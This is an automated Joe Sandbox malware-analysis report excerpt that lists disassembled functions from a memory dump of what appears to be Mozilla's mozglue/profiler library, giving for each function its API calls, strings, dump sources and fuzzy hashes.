Instruction Fuzzy Hash: 30F0A471E10786ABD7008F22C888675B778FFEA259F11431AF90543601E7B0B5D18BD5

Function 6C6B1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C6B1800

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C6B18C7
name, xrefs: 6C6B1939
Details, xrefs: 6C6B1925

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction ID: 22190e491aefa8e33f91223b97db45de0eecc8c7765d60689da5328f2aeae385
Opcode Fuzzy Hash: f57cc0acf601b34f59bfb0a927a8cf69c2a29521a92e304fc251dfc88a6d7df5
Instruction Fuzzy Hash: BB71F3B0A00346AFC704DF29D4947AABBB1FF46304F444669D8155BB41DB70F6A8CBEA

Function 6C67D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

EnterCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D4F2
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D50B

Part of subcall function 6C65CFE0: EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C65CFF6
Part of subcall function 6C65CFE0: LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C65D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D52E
EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C67D690
LeaveCriticalSection.KERNEL32(6C6DE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C68D1C5), ref: 6C67D751

Strings

MOZ_CRASH(), xrefs: 6C67D4BB

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction ID: 72be7f876658cff6d62bdf5daf5ff4cfa071adc8b61d5b6b6fcdee3ae64f8576
Opcode Fuzzy Hash: 4a4597c506335fd374026c37a78a4c4713f739f71224aa12a41bea50c1db6c0a
Instruction Fuzzy Hash: E651A071A047018FD364CF29C49465AB7F1EF89704F558E2ED59AC7B84D770E840CB6A

Function 6C6A4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction ID: d9b877f844518185a66eb8317f8e241a0f0eb0060e8744db4597b5dc4e61bef9
Opcode Fuzzy Hash: 7c47c857322daacc010ec0f4dd803b779c30a42292451004a68c6c0cc5d1a5bb
Instruction Fuzzy Hash: 37418971E047089BCB08CFB9D88116EBBF5EF86744F10863DE85957B41EB70E841874A

Function 6C6C9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C6C985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C6C987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C6C98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C6C98D9

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction ID: 84c184053eb01ea360ad2783384926cf2274fa4c0e4429a66cb157956828c49a
Opcode Fuzzy Hash: 132a496e17e16a690cb7d99c3f3fb1f13823582104f041d35db6d3516b5756ce
Instruction Fuzzy Hash: 6F310871B001086BDB14AF59DC445EE77B9DF85718F50842DEA0A9BB40DB71A904CBEE

Function 6C6A46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6A4721

Part of subcall function 6C654410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C693EBD,00000017,?,00000000,?,6C693EBD,?,?,6C6542D2), ref: 6C654444

Strings

profiler-paused, xrefs: 6C6A46E4
., xrefs: 6C6A476A
-%llu, xrefs: 6C6A4733

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction ID: ee623ee0f79995db137349a269ed70c0a4b22cc15c8904805aa0d65b05339753
Opcode Fuzzy Hash: 26b888f47b694df7ae51fe5d885ae943c1e72917b37d5a576de09379f6fa01ae
Instruction Fuzzy Hash: 49312A71F042085BCB08CFADDC812ADBBE6DB89314F55813DE8059BB41EBB0DD058B99

Function 6C6AB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C6AB127), ref: 6C6AB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C6AB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C6AB4E4

Strings

pid:, xrefs: 6C6AB4DE

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction ID: 08c90ab0690d7f8403227b0f2834ab55f99ceeb46082f2b9e9c56eb2096e64bc
Opcode Fuzzy Hash: f2833832c2e09ac9d0fa345bfb691ad62b155d79752d84222e94a571c01022f7
Instruction Fuzzy Hash: E431E031A0120C9FDB00DFEAD880AEEB7B5FF85318F540529D81267A45D732AD46CBA9

Function 6C66BF00 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52COMMON

Download Yara Rule

APIs

??0ios_base@std@@IAE@XZ.MSVCP140(?,?,?,?,6C6B7A3F), ref: 6C66BF11
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(?,00000000,?,6C6B7A3F), ref: 6C66BF5D
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAE@XZ.MSVCP140(?,6C6B7A3F), ref: 6C66BF7E

Strings

ll, xrefs: 6C66BF84

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$??0?$basic_streambuf@??0ios_base@std@@?init@?$basic_ios@D@std@@@2@_V?$basic_streambuf@
String ID: ll
API String ID: 4279176481-422694604
Opcode ID: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction ID: acc39dd28e06e19247f79fe10d4894abeff6178b15d653ae20e437cdaa2bc3a2
Opcode Fuzzy Hash: 9df5228b65a0eff3ddc44577ae6d394cb1355ee277eae887838cd46532bb6328
Instruction Fuzzy Hash: 6611BF793016048FC729CF0CD599926FBF8FB59308355885DE98A8B754C731F800CB99

Function 6C69E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C69E577
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E584
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C69E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C69E722, 6C69E750, 6C69E7A2
MOZ_PROFILER_STARTUP, xrefs: 6C69E5A1, 6C69E5CC, 6C69E5FF, 6C69E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C69E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C69E826, 6C69E850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C69E655

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction ID: 8c3d27a3f7cef48c4ed5c2157a3c3fed9863bba23175123dc71420e2c82529b7
Opcode Fuzzy Hash: 1eca9647559c815ef8c16a1fd9d354fdd95aa9a5c77d5d2c3967643dee620f54
Instruction Fuzzy Hash: 4111AD31A04258DFCB009F16C888B6ABBB4FFC9329F050A19E84587651D774B805CFDE

Function 6C6A0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0CD5

Part of subcall function 6C68F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C68F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C6A0D40
free.MOZGLUE ref: 6C6A0DCB

Part of subcall function 6C675E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C675EDB
Part of subcall function 6C675E90: memset.VCRUNTIME140(ewkl,000000E5,?), ref: 6C675F27
Part of subcall function 6C675E90: LeaveCriticalSection.KERNEL32(?), ref: 6C675FB2

free.MOZGLUE ref: 6C6A0DDD
free.MOZGLUE ref: 6C6A0DF2

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction ID: 0744bd5b5f7c2c126cec454ca987b28fa44c9ec751ffde8c5b25c6819782081d
Opcode Fuzzy Hash: fce425f7b408e5fb4db8014b62f0115985f6ab6ab260e4d0d9e1334d07c0fba8
Instruction Fuzzy Hash: 154139719087809BD320DF29C08079AFBE5BFC9714F118A2EE9D987750D770A846CB9B

Function 6C690800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE7DC), ref: 6C690838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C69084C
EnterCriticalSection.KERNEL32(?), ref: 6C6908AF
LeaveCriticalSection.KERNEL32(?), ref: 6C6908BD
LeaveCriticalSection.KERNEL32(6C6DE7DC), ref: 6C6908D5

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction ID: 0c2d6e11bd8e05ad90fa341da736fe2338653d600f94c2358b24497550ac1e29
Opcode Fuzzy Hash: 1b213696630c9b1e99bd03d16a7ce02d416ba33bdca5681bf5c8060b1001ba7a
Instruction Fuzzy Hash: E121B031B0524A9BEF048F66D884BAEB379AF89708F500529D909A7A40DB31A804CBDC

Function 6C6ACCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDA4

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD158
Part of subcall function 6C6AD130: InitializeConditionVariable.KERNEL32(00000098,?,6C6ACDBA,00100000,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACDC4

Part of subcall function 6C6A7480: ReleaseSRWLockExclusive.KERNEL32(?,6C6B15FC,?,?,?,?,6C6B15FC,?), ref: 6C6A74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6ACECC

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

Part of subcall function 6C69CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C6ACEEA,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000), ref: 6C69CB57
Part of subcall function 6C69CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C69CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C6ACEEA,?,?), ref: 6C69CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C69DA31,00100000,?,?,00000000,?), ref: 6C6AD058

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction ID: 7f1d13926e85e4132c53c4f335a1232c33e1e35778ffcb01c90bc5c865becd05
Opcode Fuzzy Hash: 17b39ecca14ffcae6143c17bfe05fa816367e042abf1e00a0f871d2f8f566c65
Instruction Fuzzy Hash: 2FD16F71A04B469FD708CF28C480B99F7E1BF89308F01866DD95987712EB31B9A6CBC5

Function 6C661720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C6617B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C6618EE
free.MOZGLUE(?), ref: 6C661911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66194C

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction ID: 179c7417f028dbd7f031db162d738cad369d2a3ff8023aed4c3d2a6ad5f0b6d2
Opcode Fuzzy Hash: 4d6977340a6f6fe6efc0984376a74d4ba1fd2b4cbdbf62842cd540a28156e1bd
Instruction Fuzzy Hash: 7781D670A112059FCB08CF69D8D49EEBBB1FF89314F04462CE815ABB54D730E854CBA6

Function 6C675C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C675D40
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67
__aulldiv.LIBCMT ref: 6C675DB4
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction ID: d33b4dba655bb99291579b5ea7e7ad6204471695016f9aad492d62ec9b1b7e3c
Opcode Fuzzy Hash: fccf99705cd4046480c0da99a08bcdfb038165868c156f85a6ca97cbfd90524e
Instruction Fuzzy Hash: 89518F71E001698FCF08CF69C994AAEBBF1FB85304F198A5DD811A7B50C7307945CB99

Function 6C65CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C65CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C65CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C65CF4E

Strings

0, xrefs: 6C65CF30

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction ID: e54310c26906e80553e8d3bb2d46e827d1f78c5d19c18f1187dfef5d907545ba
Opcode Fuzzy Hash: 196597a6bdbc8dad2df6b501d6b72384db2d0378a8bf5e5c92be4be767be814e
Instruction Fuzzy Hash: 9D511475A002568FCB00CF18C890A9AFBB5EF99300F29859DD95A5F351D731ED16CBE0

Function 6C6B77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C6B7829

Part of subcall function 6C68CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C6531A7), ref: 6C68CC45
Part of subcall function 6C68CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C6531A7), ref: 6C68CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C6B789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C6B78CF

Part of subcall function 6C654DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C654E5A
Part of subcall function 6C654DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C654E97

Part of subcall function 6C654290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C693EBD,6C693EBD,00000000), ref: 6C6542A9

Memory Dump Source

Source File: 00000000.00000002.2628615009.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2627887197.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628746455.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628829131.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2628981613.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
Instruction ID: d3f0341d97344c7fab9b808fa05ab6429bc07e170ace8f1b0d0d35edb21e3181
Opcode Fuzzy Hash: df43c189fb2575bf45509e53df294fa891792ee3766543de59c7504d5b50fbb5
